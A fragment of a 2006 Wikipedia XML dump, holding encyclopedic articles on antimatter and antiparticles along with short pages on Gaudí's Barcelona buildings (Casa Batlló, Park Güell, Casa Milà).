The scarcity of antimatter means that it is not readily available to be used as fuel, although it could be used in [[antimatter catalyzed nuclear pulse propulsion]].  Generating a single antiproton is immensely difficult and requires particle accelerators and vast amounts of energy&amp;mdash;millions of times more than is released after it is annihilated with ordinary matter, due to inefficiencies in the process.  Known methods of producing antimatter from energy also produce an equal amount of normal matter, so the theoretical limit is that half of the input energy is converted to antimatter.  Counterbalancing this, when antimatter annihilates with ordinary matter, energy equal to twice the mass of the antimatter is liberated&amp;mdash;so energy storage in the form of antimatter could (in theory) be 100% efficient.  Antimatter production is currently very limited, but has been growing at a nearly geometric rate since the discovery of the first antiproton in 1955.{{ref|History}}  The current antimatter production rate is between 1 and 10 nanograms per year, and this is expected to increase dramatically with new facilities at [[CERN]] and [[Fermilab]].  With current technology, it is considered possible to attain antimatter for [[United States dollar|US$]]25 million per gram by optimizing the collision and collection parameters (given current electricity generation costs).  Antimatter production costs, in mass production, are almost linearly tied in with electricity costs, so economical pure-antimatter thrust applications are unlikely to come online without the advent of such technologies as [[deuterium]]-tritium [[fusion power]].  However, it should be noted that in 2004, the annual production of antiprotons at CERN was several picograms at a cost of $20 million. This means to produce 1 gram of antimatter, CERN would need to spend 100 million trillion dollars and run the antimatter factory for 100 billion years.

Several [[NASA Institute for Advanced Concepts]]-funded studies are exploring whether the antimatter that occurs naturally in the [[Van Allen belt]]s of Earth, and ultimately, the belts of gas giants like [[Jupiter]], might be able to be collected with magnetic scoops, at hopefully a lower cost per gram.{{ref|VanAllenBelts}}

Since the energy density is vastly higher than these other forms, the thrust to weight equation used in [[antimatter rocket]]ry and [[spacecraft]] would be very different. In fact, the energy in a few grams of antimatter is enough to transport an unmanned spacecraft to [[Mars]] in about a month&amp;mdash;the [[Mars Global Surveyor]] took eleven months to reach Mars.  It is hoped that antimatter could be used as [[fuel]] for [[interplanetary travel]] or possibly [[interstellar travel]], but it is also feared that if humanity ever gets the capabilities to do so, there could be the construction of [[antimatter weapon]]s.

== The Antiuniverse ==
Dirac himself was the first to consider the existence of antimatter in an astronomical scale. But it was only after the confirmation of his theory, with the discovery of the positron, antiproton and antineutron that real speculation began on the possible existence of an antiuniverse. In the following years, motivated by basic [[symmetry]] principles, it was believed that the [[universe]] must consist of both matter and antimatter in equal amounts. If, however there were an isolated system of antimatter in the universe, free from interaction with ordinary matter, no earthbound observation could distinguish its true content, as photons (being their own antiparticle) are the same whether they are in a “universe” or an “antiuniverse”.

But assuming large zones of antimatter exist, there must be some boundary where antimatter atoms from the antimatter [[galaxies]] or [[stars]] will come into contact with normal atoms. In those regions a powerful flux of [[gamma rays]] would be produced. This has never been observed despite deployment of very sensitive instruments in space to detect them.

It is now thought that symmetry was broken in the early universe when [[charge]] and [[parity]] symmetry was violated ([[CP-violation]]). Standard [[Big Bang]] cosmology tells us that the universe initially contained equal amounts of matter and antimatter: however particles and [[antiparticle]]s evolved slightly differently. It was found that a particular heavy unstable particle, which is its own antiparticle, decays slightly more often to positrons (e&lt;sup&gt;+&lt;/sup&gt;) than to electrons (e&lt;sup&gt;-&lt;/sup&gt;). How this accounts for the preponderance of matter over antimatter has not been completely explained. The [[Standard Model]] of [[particle physics]] does have a way of accommodating a difference between the evolution of matter and antimatter, but it falls short of explaining the net excess of matter in the universe by about 10 orders of magnitude.

After Dirac, the sci-fi writers had a field day with visions of antiworlds,
antistars and antiuniverses, all made of antimatter, and it is still a common [[plot device]], however suppositions of the existence a coeval, antimatter duplicate of this universe are not taken seriously in modern [[cosmology]].

: ''See also: [http://www2.slac.stanford.edu/tip/special/cp.htm What is direct CP-violation?]''

== Antimatter in popular culture ==
The extremely large amount of energy released by matter/antimatter annihilation has inspired many appearances in fiction:

*A famous fictional example of antimatter in action is in the [[science fiction]] franchise ''[[Star Trek]]'', where it is a common energy source for [[starship]]s; large reactors generate power by mixing supercooled deuterium and antideuterium, with the annihilation reaction regulated by [[dilithium]] crystals. It is also used as a weapon, as in [[photon torpedo]]es.
*Antimatter engines also appear in various books of the ''[[Dragonriders of Pern]]'' series by [[Anne McCaffrey]]. 
*In [[Larry Niven|Niven's]] ''[[Ringworld]]'' series, antimatter appears as a weapon useful against even the super-dense matter [[scrith]].  
*[[Dan Brown]] explores the use of antimatter as a [[weapon]] in his novel ''[[Angels and Demons]]'', where terrorists threaten to destroy the [[Vatican City|Vatican]] with potentially unstable antimatter stolen from [[CERN]]. 
*In ''[[The Night's Dawn Trilogy]]'' by [[Peter F. Hamilton]], antimatter is characterized as the most dangerous substance imaginable and outlawed across the Galaxy. 
*Antimatter is briefly referenced in the 1966 movie ''[[Batman: The Movie]],'' (several evil henchmen are turned into antimatter when they are revived using &quot;heavy water&quot; from the batcave), but the concept remains completely unexplained in this example.
*In the episode of ''[[Doctor Who]]'', &quot;The Planet of Evil,&quot; the scientist Dr. Sorenson is transformed into an 'antiman' due to exposure to antimatter.
*Late in ''[[The Rocky Horror Picture Show]]'', Riff confirms to Dr. Furter that the pitchfork-like weapon he has pointed at him is &quot;a [[laser]], capable of emitting a beam of pure antimatter.&quot; This misuse of the term led to the audience-response line, &quot;Then it's not a laser.&quot;
*In [[comic books]] produced by [[DC Comics]], the notion of an antiuniverse, or in DC's parlance Anti-Matter Universe, was first utilized in the ''[[Green Lantern]]'' series in the [[1960s]]. The Anti-Matter Universe contains a world known as [[Qward]], home to the [[Green Lantern Corps]]' sworn enemies, the Weaponers of Qward.  
*In the ''[[City of Heroes]]'' comic book, the [[superhero]] [[Positron (City of Heroes)|Positron]] is capable of generating anti-matter, and utilizing it as a weapon.
*In 1985, a powerful, twisted denizen of the Anti-Matter Universe known as the [[Anti-Monitor]] succeeded in destroying most of the DC [[Multiverse]] during the events of the twelve-issue [[limited series]] ''[[Crisis on Infinite Earths]]''.
*The [[Protoss]] race of [[Starcraft]] uses antimatter for both propulsion and weaponry.

== See also ==
* [[Gravitational interaction of antimatter]]
* [[Elementary particle]]
* [[Positron]]

== References ==
* {{cite book | first=Paul | last=Tipler | coauthors=Ralph Llewellyn | title=Modern Physics | edition=4th ed. | publisher=W. H. Freeman | year=2002 | id=ISBN 0716743450}}

=== Footnotes ===
# {{note | BigBang }} {{cite web | year = 2000 | url = http://science.nasa.gov/headlines/y2000/ast29may_1m.htm | title = &quot;What's the Matter with Antimatter? | publisher = NASA Science News | accessdate = January 3 | accessyear = 2006 }}
# {{note | Reactions }} {{cite web | author = Stanley K. Borowski | year = 1987 | url = http://gltrs.grc.nasa.gov/reports/1996/TM-107030.pdf | title = Comparison of Fusion/Antiproton Propulsion Systems for Interplanetary Travel | format = PDF | publisher = [[National Aeronautics and Space Administration]] | accessdate = December 7 | accessyear = 2005 }}
# {{note | History }} {{cite web | author = Tyler Freeman | year = 2003 | url = http://ffden-2.phys.uaf.edu/212_fall2003.web.dir/tyler_freeman/history.htm | title = The History of Antimatter | work = Antimatter: The Science Fact | accessdate = December 7 | accessyear = 2005 }}
# {{note | VanAllenBelts }} {{cite web | author = Jim Bickford | url = http://www.niac.usra.edu/files/studies/abstracts/1071Bickford.pdf | title = Extraction of Antiparticles in Planetary Magnetic Fields | format = PDF | publisher = NASA Institute for Advanced Concepts | accessdate = December 7 | accessyear = 2005 }}

== External links and references ==
* [http://livefromcern.web.cern.ch/livefromcern/antimatter/webcast/AM-webcast06.html CERN Webcasts (Realplayer required)]
* [http://www.positron.edu.au/faq.html What is Antimatter?] (from the Frequently Asked Questions at the Center for Antimatter-Matter Studies)
* [http://public.web.cern.ch/Public/Content/Chapters/Spotlight/SpotlightAandD-en.html Some interesting FAQs from CERN] that contain lots of information about antimatter aimed at the general reader

[[Category:Antimatter| ]]
[[Category:Matter]]
[[Category:Quantum field theory]]
[[Category:Particle physics]]
[[Category:Physics in fiction]]

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    <title>Antonio Gaudi</title>
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      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Palau Guell&quot; +&quot;Palau Güell&quot;</comment>
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      <text xml:space="preserve">{| border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; align=right
|-
| [[Image:Jfader batto facade.jpg|250px|thumb|The Casa Batlló in Barcelona]]
|-
| [[Image:Jfader batto roof.jpg|thumb|250px|The arched roof and complex chimney detailing]]
|}
'''Casa Batlló''' (pronounce Casa Batyo) is a building designed by [[Antoni Gaudi]] and built in years [[1905]]&amp;ndash;[[1907]]; located at 43, Passeig de Gràcia (''passeig'' is [[Catalan language|Catalan]] for promenade or [[avenue]]), part of the [[Illa de la Discòrdia]] in the ''[[Eixample]]'' district of [[Barcelona]], [[Catalonia]], [[Spain]]. 

The local name for the building is ''Casa dels ossos'' (house of bones), and indeed it does have a [[viscera]]l, [[skeleton|skeletal]] organic quality.  It was originally designed for a [[middle-class]] family and situated in a prosperous district of Barcelona. 

The building looks very remarkable &amp;mdash; like everything Gaudi designed, only identifiable as [[Art Nouveau]] in the broadest sense.  The ground floor, in particular, is rather astonishing with tracery, irregular oval windows and flowing sculpted stone work.

It seems that the goal of the designer was to avoid straight lines completely. Much of the [[façade]] is decorated with a [[mosaic]] made of broken ceramic tiles that starts in shades of golden orange moving into greenish blues. The roof is [[arch]]ed and was likened to the back of a [[European dragon|dragon]] or [[dinosaur]]. A common theory about the building is that the rounded feature to the left of centre, terminating at the top in a turret and cross, represents the sword of [[Saint George]], which has been plunged into the back of the dragon.

==External links==
*[http://www.casabatllo.es The official website of La Casa Batlló]
*[http://www.greatbuildings.com/buildings/Casa_Batllo.html Casa Batlló on GreatBuildings.com]
*[http://www.barcelona-tourist-guide.com/albums-en/gaudi-casa-batllo/index.html Casa Batlló pictures]
*[http://www.op.net/~jmeltzer/Gaudi/batllo.html Casa Batlló description]
 
[[Category:Buildings and structures in Barcelona]]
[[Category:Modernisme]]
[[Category:Antoni Gaudí buildings]]

[[ca:Casa Batlló]]
[[de:Casa Batlló]]
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[[sr:Каза Батљо]]</text>
    </revision>
  </page>
  <page>
    <title>Antonio Gaudi/Casa Milo</title>
    <id>1323</id>
    <revision>
      <id>15899812</id>
      <timestamp>2002-10-09T13:58:43Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Casa_Milà]]</comment>
      <text xml:space="preserve">#REDIRECT [[Casa Milà]]</text>
    </revision>
  </page>
  <page>
    <title>Park Guell</title>
    <id>1324</id>
    <revision>
      <id>42074345</id>
      <timestamp>2006-03-03T17:22:09Z</timestamp>
      <contributor>
        <username>Rhobite</username>
        <id>82899</id>
      </contributor>
      <comment>la -&gt; the</comment>
      <text xml:space="preserve">[[image:Parcguell.jpg|right|frame|The entrance to the park]]
'''Park Güell''' is a garden complex with [[Architecture|architectural]] elements situated on the hill of [[El Carmel]] in the [[Gràcia]] district of [[Barcelona]], [[Spain]]. It was designed by the [[Catalan]] [[architect]] [[Antoni Gaudi|Antoni Gaudí]] and built in the years [[1900]] to [[1914]]. It is one of the [[UNESCO]] [[World Heritage Sites]].

The Park was originally part of a commercially unsuccessful housing site. The idea of Count [[Eusebio de Guell]]. It was inspired by British developments, hence the original English name ''Park''. It has been converted into a municipal garden. It can be reached by underground, although the stations are at a certain distance, by the regular buses, or best by the tourist buses. While the Park is free, Gaudí's house &amp;mdash; containing furniture that he designed &amp;mdash; can be visited at a cost.

[[image:Park Guell Terrace.JPG|left|thumb|[[Gaudí]]'s mosaic work on the main terrace]]

The design of the Park is clearly the work of an architect and Gaudí's unique style is also easily distinguishable.  Wavy, lava-like shapes, at places tree-like or in form of Doric columns or stalactites, sometimes lavishly decorated with ornaments of [[trencadís|broken ceramic fragments, a Catalan technique]]. The landscaping of the Park is largely in tune with the natural terrain; steep slopes and cliffs have been allowed to remain, with winding paths, cuttings and grottoes adding to the natural feel. 

Although it sounds unlikely, the place is skillfully designed and composed to bring the peace and calm that one would expect from a park.  The buildings, though very original and remarkable, are relatively inconspicuous, considering other buildings designed by Gaudí. They have fantastically shaped roofs with unusual pinnacles.  The focal point of the park is the main terrace, surrounded by a long bench in the form of a [[sea serpent]]. Gaudí used a naked man, sitting in clay, to design the bench. The curves form a number of enclaves, creating a more social atmosphere. 

The large cross at the Park's high-point offers the most complete view of Barcelona. It is possible to view the main city in panaroma, with the [[Sagrada Familia]] and the [[Montjuïc]] area visible at a distance.

==External links==

* [http://maps.google.com/maps?ll=41.414048,2.150187&amp;spn=0.003677,0.007522&amp;t=k Park Güell at Google Maps]
*[http://www.gardenvisit.com/ge/guel.htm Parque Guell Barcelona - Gardens Guide]
* [http://www.barcelona-tourist-guide.com/albums-en/gaudi-park-guell/index.html Park Güell Photo Gallery]

{{commons|Parc Güell|Parc Güell}}

[[Category:Barcelona]]
[[Category:Modernisme]]
[[Category:Parks in Spain|Guell]]
[[Category:World Heritage Sites in Spain]]
[[Category:Antoni Gaudí buildings]]

[[ca:Parc Güell]]
[[de:Park Güell]]
[[es:Parque Güell]]
[[fr:Parc Güell]]
[[nl:Parc Güell]]
[[ja:グエル公園]]
[[ro:Parc Güell]]
[[sl:Park Güell]]
[[sr:Парк Гуел]]
[[sv:Parc Güell]]</text>
    </revision>
  </page>
  <page>
    <title>Casa Milà</title>
    <id>1325</id>
    <revision>
      <id>38981191</id>
      <timestamp>2006-02-09T22:46:08Z</timestamp>
      <contributor>
        <username>Jahsonic</username>
        <id>5720</id>
      </contributor>
      <text xml:space="preserve">[[Image:Casamila.jpg|right|thumb|Casa Milà, Barcelona.]]
[[Image:LaPedreraParabola.jpg|thumb|Image:LaPedreraParabola.jpg|[[Parabola|Parabolic]] or [[catenary]] [[arch]]es under the terrace of Casa Milà.]]
'''Casa Milà''', better known as '''La Pedrera''' (Catalan for 'The Quarry'), is a building designed by the Catalan [[architect]] [[Antoni Gaudi|Antoni Gaudí]] and built in the years [[1905]] to [[1907]].  It is located at 92, Passeig de Gràcia ('passeig' is Catalan for promenade or avenue) in the ''[[Eixample]]'' district of [[Barcelona]], [[Catalonia]], [[Spain]]. It was built for Roger Segimon de Milà. It is one of the UNESCO [[World Heritage Sites]].

The building does not have any straight lines. Most people consider it magnificent and overwhelming -- some say it is like waves of lava or a sand-dune. This building seems to break our understanding of conventional [[architecture]]. The most astonishing part is the roof with an almost lunar appearance and dreamlike landscape.

The building can be considered more of a sculpture than a regular building. Critics remark on its detachment from usefulness, but others consider it to be art.  The Barcelonese of the time considered it ugly, hence the &quot;quarry&quot; nickname, but today it is a landmark of Barcelona.

Casa Milà was a predecessor of some buildings with a similar [[biomorphism|biomorphic]] appearance:  

* the 1921 [[Einstein Tower]] in [[Potsdam]], designed by [[Erich Mendelsohn]]
* [[Solomon R. Guggenheim Museum]] in [[New York]], designed by [[Frank Lloyd Wright]]
* [[Chapelle Notre Dame du Haut]], [[Ronchamp]], [[France]], designed by [[Le Corbusier]]
* the [[Hundertwasserhaus]] and other words by Austrian architect [[Friedensreich Hundertwasser]]
* Disney Concert Hall in [[Los Angeles, California|Los Angeles]], by [[Frank Gehry]]

Free exhibitions are often held on the first floor, which also provides some opportunity to see the interior design. There is a charge of €7 for entrance to the apartments and roof.

==Casa Milà in the media==
* A scene in ''[[Professione: reporter]]'', a film directed by Michelangelo Antonioni, was filmed on  the building's roof.

[[Image:Casa_Mila_roof.jpg|right|thumb|Stylized stairway entrances on the roof]]

==See also==
* [[List of buildings]]
* [[List of museums]]

&lt;!-- [[Image:Model Gaudi Pedrera Kunsthal mei 2005.jpg|left|thumb|Scale model of a floor with apartments]] --&gt;
==External links==
* [http://www.lapedreraeducacio.org/ La Pedrera Educació]
* [http://www.lodgephoto.com/galleries/spain/barcelona/lapedrera-casamila/ Photographs of Casa Mila / La Pedrera]
* [http://www.barcelona-tourist-guide.com/albums-en/gaudi-pedrera/index.html Photos of La Pedrera]

 
[[Category:Buildings and structures in Barcelona]]
[[Category:Modernisme]]
[[Category:World Heritage Sites in Spain]]
[[Category:Antoni Gaudí buildings]]

[[ca:Casa Milà]]
[[de:Casa Milà]]
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[[fr:Casa Milà]]
[[nl:Casa Milà]]
[[ro:Casa Milà]]
[[sv:Casa Milà]]</text>
    </revision>
  </page>
  <page>
    <title>Antiparticle</title>
    <id>1327</id>
    <revision>
      <id>41809972</id>
      <timestamp>2006-03-01T22:16:31Z</timestamp>
      <contributor>
        <ip>80.42.113.233</ip>
      </contributor>
      <comment>/* Experiment */</comment>
      <text xml:space="preserve">{{Template:Antimatter}}

Corresponding to each kind of [[particle physics|particle]], there is an associated '''antiparticle''' with the same [[mass]] and [[Spin (physics)|spin]]. Some particles, such as the [[photon]], are identical to their antiparticle; such particles must have no [[electric charge]], but not all charge-neutral particles are of this kind. The laws of nature were thought to be symmetric between particles and antiparticles until [[CP violation]] experiments found that [[time-reversal symmetry]] is violated in nature. The observed excess of [[baryon]]s over anti-baryons in the universe is one of the primary [[Unsolved problems in physics|unsolved problems]] in [[cosmology]].

Particle-antiparticle pairs can annihilate each other if they are in appropriate [[quantum state]]s. They can also be produced in various processes. These processes are used in today's [[particle accelerator]]s to create new particles and to test theories of [[particle physics]]. High energy processes in nature can create antiparticles. These are visible in [[cosmic ray]]s and in certain [[nuclear reaction]]s. The word [[antimatter]] properly refers to (elementary) antiparticles, composite antiparticles made with them (such as [[antihydrogen]]) and to larger assemblies of either.

== History ==

=== Experiment ===

In [[1932]], soon after the prediction of [[positron]]s by [[Paul Dirac]], [[Carl D. Anderson]] found that cosmic-ray collisions produced these particles in a [[cloud chamber]]&amp;mdash; a [[particle detector]] in which moving [[electron]]s (or positrons) leave behind trails as they move through the gas.  The [[electric charge]]-to-[[mass]] ratio of a particle can be measured by observing the curling of its cloud-chamber track in a [[magnetic field]].  Originally, positrons, because of the direction that their paths curled, were mistaken for electrons travelling in the opposite direction.

The antiproton and antineutron were found by [[Emilio Segrè]] and [[Owen Chamberlain]] in [[1955]] at the [[University of California, Berkeley]].  Since then the antiparticles of many other subatomic particles have been created in particle accelerator experiments.  In recent years, complete atoms of [[antimatter]] have been assembled out of antiprotons and positrons, collected in electromagnetic traps.

=== Hole theory ===

&lt;blockquote&gt;
... the development of quantum field theory made the interpretation of antiparticles as holes unnecessary, even though unfortunately it lingers on in many textbooks.
&amp;nbsp;&amp;mdash;&amp;nbsp; [[Steven Weinberg]] in ''The quantum theory of fields'', Vol I, p 14, ISBN 0521550017
&lt;/blockquote&gt;

Solutions of the [[Dirac equation]] contained negative energy quantum states. As a result, an electron could always radiate energy and fall into a negative energy state. Even worse, it could keep radiating infinite amount of energy because there were infinitely negative energy states available. To prevent this unphysical situation from happening, Dirac proposed that a &quot;sea&quot; of negative-energy electrons fills the universe, already occupying all of the lower energy states so that, due to the [[Pauli exclusion principle]] no other electron could fall into them. Sometimes, however, one of these negative energy particles could be lifted out of this [[Dirac sea]] to become a positive energy particle.  But when lifted out, it would leave behind a ''hole'' in the sea which would act exactly like a positive energy electron with a reversed charge. These he interpreted as the [[proton]], and called his paper of 1930 ''A theory of electrons and protons''.

Dirac was aware of the problem that his picture implied an infinite negative charge for the universe. Dirac tried to argue that we would perceive this as the normal state of zero charge. Another difficulty was the difference in masses of the electron and the proton. Dirac tried to argue that this was due to the electromagnetic interactions with the sea, until [[Hermann Weyl]] proved that hole theory was completely symmetric between negative and positive charges. Dirac also predicted a reaction &lt;b&gt;e&amp;nbsp;+&amp;nbsp;p&amp;nbsp;→&amp;nbsp;γ&amp;nbsp;+&amp;nbsp;γ&lt;/b&gt; (electron and proton annihilate to give two [[photon]]s). [[Robert Oppenheimer]] and [[Igor Tamm]] proved that this would cause ordinary matter to disappear too fast. A year later, in 1931, Dirac modified his theory and postulated the [[positron]], a new particle of the same mass as the electron. The discovery of this particle the next year removed the last two objections to his theory.

However, the problem of infinite charge of the universe remains.  Also, as we now know, [[bosons]] (if they exist) also have antiparticles, but since they do not obey the Pauli exclusion principle, hole theory doesn't work for them. A unified interpretation of antiparticles is now available in [[quantum field theory]], which solves both these problems.

== Particle-antiparticle annihilation ==

''Main article: [[Annihilation]]''.
[[Image:kkbar had.png|frame|An example of a virtual [[pion]] pair which influences the propagation of a [[kaon]] causing a neutral kaon to ''mix'' with the antikaon. This is an example of [[renormalization]] in [[quantum field theory]]&amp;mdash; the field theory being necessary because the number of particles changes from one to two and back again.]]

If a particle and antiparticle are in the appropriate quantum states, then they can '''annihilate''' each other and produce other particles. Reactions such as &lt;b&gt;e&lt;sup&gt;+&lt;/sup&gt; &amp;nbsp;+&amp;nbsp; e&lt;sup&gt;-&lt;/sup&gt; &amp;nbsp;→&amp;nbsp; γ &amp;nbsp;+&amp;nbsp; γ&lt;/b&gt; (the two-photon annihilation of an electron-positron pair) is an example.
The single-photon annihilation of an electron-positron pair, &lt;b&gt;e&lt;sup&gt;+&lt;/sup&gt; &amp;nbsp;+&amp;nbsp; e&lt;sup&gt;-&lt;/sup&gt; &amp;nbsp;→&amp;nbsp; γ&lt;/b&gt; cannot occur because it is impossible to conserve energy and momentum together in this process. The reverse reaction is also impossible for this reason. However, in [[quantum field theory]] this process is allowed as an intermediate quantum state for times short enough that the violation of energy conservation can be accommodated by the [[uncertainty principle]]. This opens the way for '''virtual pair''' production or annihilation in which a one particle quantum state may ''fluctuate'' into a two particle state and back. These processes are important in the [[vacuum state]] and [[renormalization]] of a [[quantum field theory]]. It also opens the way for [[neutral particle mixing]] through processes such as the one pictured here: which is a complicated example of [[mass renormalization]].

== Properties of antiparticles ==

[[Quantum state]]s of a particle and an antiparticle can be interchanged by applying the [[C-symmetry|charge conjugation]] (&lt;b&gt;C&lt;/b&gt;), [[P-symmetry|parity]] (&lt;b&gt;P&lt;/b&gt;), and [[T-symmetry|time reversal]] (&lt;b&gt;T&lt;/b&gt;). If &lt;b&gt;|p,σ,n&gt;&lt;/b&gt; denotes the quantum state of a particle (&lt;b&gt;n&lt;/b&gt;) with momentum &lt;b&gt;p&lt;/b&gt;, spin &lt;b&gt;J&lt;/b&gt; whose component in the z-direction is σ, then one has
::&lt;b&gt;CPT |p,σ,n&gt; &amp;nbsp;=&amp;nbsp; (-1)&lt;sup&gt;J-σ&lt;/sup&gt; |p,-σ,n&lt;sup&gt;c&lt;/sup&gt;&gt;,&lt;/b&gt;
where &lt;b&gt;n&lt;sup&gt;c&lt;/sup&gt;&lt;/b&gt; denotes the charge conjugate state, ie, the antiparticle. This behaviour under &lt;b&gt;CPT&lt;/b&gt; is the same as the statement that the particle and its antiparticle lie in the same [[irreducible representation]] of the [[Poincare group]]. Properties of antiparticles can be related to those of particles through this. If &lt;b&gt;T&lt;/b&gt; is a good symmetry of the dynamics, then
::&lt;b&gt;T |p,σ,n&gt; &amp;nbsp;α&amp;nbsp; |-p,-σ,n&gt;&lt;/b&gt;
::&lt;b&gt;CP |p,σ,n&gt; &amp;nbsp;α&amp;nbsp; |-p,σ,n&lt;sup&gt;c&lt;/sup&gt;&gt;&lt;/b&gt;
::&lt;b&gt;C |p,σ,n&gt; &amp;nbsp;α&amp;nbsp; |p,σ,n&lt;sup&gt;c&lt;/sup&gt;&gt;,&lt;/b&gt;
where the proportionality sign indicates that there might be a phase on the right hand side. In other words, particle and antiparticle must have
*the same mass &lt;b&gt;m&lt;/b&gt;
*the same spin state &lt;b&gt;J&lt;/b&gt;
*opposite [[electric charge]]s &lt;b&gt;q&lt;/b&gt; and &lt;b&gt;-q&lt;/b&gt;.

== Quantum field theory ==

&lt;i&gt;This section draws upon the ideas, language and notation of [[canonical quantization]] of a [[quantum field theory]].&lt;/i&gt;

One may try to quantize an electron [[field (physics)|field]] without mixing the annihilation and creation operators by writing

::&lt;b&gt;ψ(x) &amp;nbsp;=&amp;nbsp; ∑&lt;sub&gt;k&lt;/sub&gt; u&lt;sub&gt;k&lt;/sub&gt;(x) a&lt;sub&gt;k&lt;/sub&gt; e&lt;sup&gt;-i E(k)t&lt;/sup&gt;,&lt;/b&gt;

where we use the symbol &lt;b&gt;k&lt;/b&gt; to denote the quantum numbers &lt;b&gt;p&lt;/b&gt; and σ of the previous section and the sign of the energy, &lt;b&gt;E(k)&lt;/b&gt;, and &lt;b&gt;a&lt;sub&gt;k&lt;/sub&gt;&lt;/b&gt; denotes the corresponding annihilation operators. Of course, since we are dealing with [[fermion]]s, we have to have the operators satisfy canonical anti-commutation relations. However, if one now writes down the [[Hamiltonian (quantum mechanics)|Hamiltonian]]

::H &amp;nbsp;=&amp;nbsp; ∑&lt;sub&gt;k&lt;/sub&gt; E(k) a&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;k&lt;/sub&gt; a&lt;sub&gt;k&lt;/sub&gt;,&lt;/b&gt;

then one sees immediately that the expectation value of &lt;b&gt;H&lt;/b&gt; need not be positive. This is because &lt;b&gt;E(k)&lt;/b&gt; can have any sign whatsoever, and the combination of creation and annihilation operators has expectation value 1 or 0.

So one has to introduce the charge conjugate ''antiparticle'' field, with its own creation and annihilation operators satisfying the relations

::&lt;b&gt;b&lt;sub&gt;k'&lt;/sub&gt; &amp;nbsp;=&amp;nbsp; a&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;k&lt;/sub&gt;&lt;/b&gt; and &lt;b&gt;b&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;k'&lt;/sub&gt; &amp;nbsp;=&amp;nbsp; a&lt;sub&gt;k&lt;/sub&gt;&lt;/b&gt;

where &lt;b&gt;k'&lt;/b&gt; has the same &lt;b&gt;p&lt;/b&gt;, and opposite σ and sign of the energy. Then one can rewrite the field in the form

::&lt;b&gt;ψ(x) &amp;nbsp;=&amp;nbsp; ∑&lt;sub&gt;k(+)&lt;/sub&gt; u&lt;sub&gt;k&lt;/sub&gt;(x) a&lt;sub&gt;k&lt;/sub&gt; e&lt;sup&gt;-i E(k)t&lt;/sup&gt; &amp;nbsp;+&amp;nbsp; ∑&lt;sub&gt;k(-)&lt;/sub&gt; u&lt;sub&gt;k&lt;/sub&gt;(x) b&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;k&lt;/sub&gt; e&lt;sup&gt;-i E(k)t&lt;/sup&gt;,&lt;/b&gt;

where the first sum is over positive energy states and the second over those of negative energy. The energy becomes

::&lt;b&gt;H &amp;nbsp;=&amp;nbsp; ∑&lt;sub&gt;k(+)&lt;/sub&gt; E(k) a&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;k&lt;/sub&gt; a&lt;sub&gt;k&lt;/sub&gt; &amp;nbsp;+&amp;nbsp; ∑&lt;sub&gt;k(-)&lt;/sub&gt; |E(k)| b&lt;sup&gt;+&lt;/sup&gt;&lt;sub&gt;k&lt;/sub&gt; b&lt;sub&gt;k&lt;/sub&gt; &amp;nbsp;+&amp;nbsp; E&lt;sub&gt;0&lt;/sub&gt;,&lt;/b&gt;

where &lt;b&gt;E&lt;sub&gt;0&lt;/sub&gt;&lt;/b&gt; is an infinite negative constant. The [[vacuum state]] is defined as the state with no particle or antiparticle, ie, &lt;b&gt;a&lt;sub&gt;k&lt;/sub&gt; |0&gt; = 0&lt;/b&gt; and &lt;b&gt;b&lt;sub&gt;k&lt;/sub&gt; |0&gt; = 0&lt;/b&gt;. Then the energy of the vacuum is exactly &lt;b&gt;E&lt;sub&gt;0&lt;/sub&gt;&lt;/b&gt;. Since all energies are measured relative to the vacuum, &lt;b&gt;H&lt;/b&gt; is positive definite. Analysis of the properties of &lt;b&gt;a&lt;sub&gt;k&lt;/sub&gt;&lt;/b&gt; and &lt;b&gt;b&lt;sub&gt;k&lt;/sub&gt;&lt;/b&gt; shows that one is the annihilation operator for particles and the other for antiparticles. This is the case of a [[fermion]].

This approach is due to [[Vladimir Fock]], [[Wendell Furry]] and [[Robert Oppenheimer]]. If one quantizes a real [[scalar field]], then one finds that there is only one kind of annihilation operator; therefore real scalar fields describe neutral [[boson]]s. Since complex scalar fields admit two different kinds of annihilation operators, which are related by conjugation, such fields describe charged [[boson]]s.

=== The Feynman-Stueckelberg interpretation ===

[[Image:antiparticle.png|thumb|350 px|left|Observer 1 sees two particles, one propagating inside the light cone, the other outside the light cone. Observer 2, moving at a uniform velocity with respect to the first observer, could then see the second particle as moving back in time, and with reversed charge: hence as an antiparticle. However, the mass and lifetime of such a particle would remain unchanged, as a consequence of relativity.]]

By considering the propagation of the positive energy half of the electron field backward in time, [[Richard Feynman]] showed that [[causality]] is violated unless one allows some particles to travel faster than [[light]]. However, if particles are allowed to do that, then from the point of view of another [[inertial observer]] it would look like it was travelling backward in [[time]] with the opposite [[charge]].

Hence Feynman reached a pictorial understanding of the fact that the particle and antiparticle have equal mass &lt;b&gt;m&lt;/b&gt; and spin &lt;b&gt;J&lt;/b&gt; but opposite charges. This allowed him to rewrite [[perturbation theory (quantum mechanics)|perturbation theory]] precisely in the form of diagrams, called [[Feynman diagram]]s, of particles propagating back and forth in time. This technique now is the most widespread method of computing amplitudes in [[quantum field theory]].

This picture was independently developed by [[Ernst Stueckelberg]], and has been called the '''Feynman-Stueckelberg interpretation''' of antiparticles.

== See also == 

* [[Gravitational interaction of antimatter]]
* [[Parity (physics)|Parity]], [[charge conjugation]] and [[time reversal symmetry]].
* [[CP violation]]s and the [[baryon asymmetry of the universe]].
* [[Quantum field theory]] and the [[list of particles]]
* [[Baryogenesis]]

== References ==

*Feynman, Richard P. &quot;The reason for antiparticles&quot;, in ''The 1986 Dirac memorial lectures'', R.P. Feynman and S. Weinberg. Cambridge University Press, 1987. ISBN 0521340004.
*Weinberg, Steven. ''The quantum theory of fields, Volume 1: Foundations''. Cambridge University Press, 1995. ISBN 0521550017.

[[Category:Antimatter|Antimatter]]

[[ca:Antipartícula]]
[[cs:Antičástice]]
[[de:Antiteilchen]]
[[fr:Antiparticule]]
[[he:אנטי-חלקיק]]
[[hu:Antirészecske]]
[[ja:反粒子]]
[[ru:Античастицы]]
[[uk:Античастинка]]
[[zh:反粒子]]</text>
    </revision>
  </page>
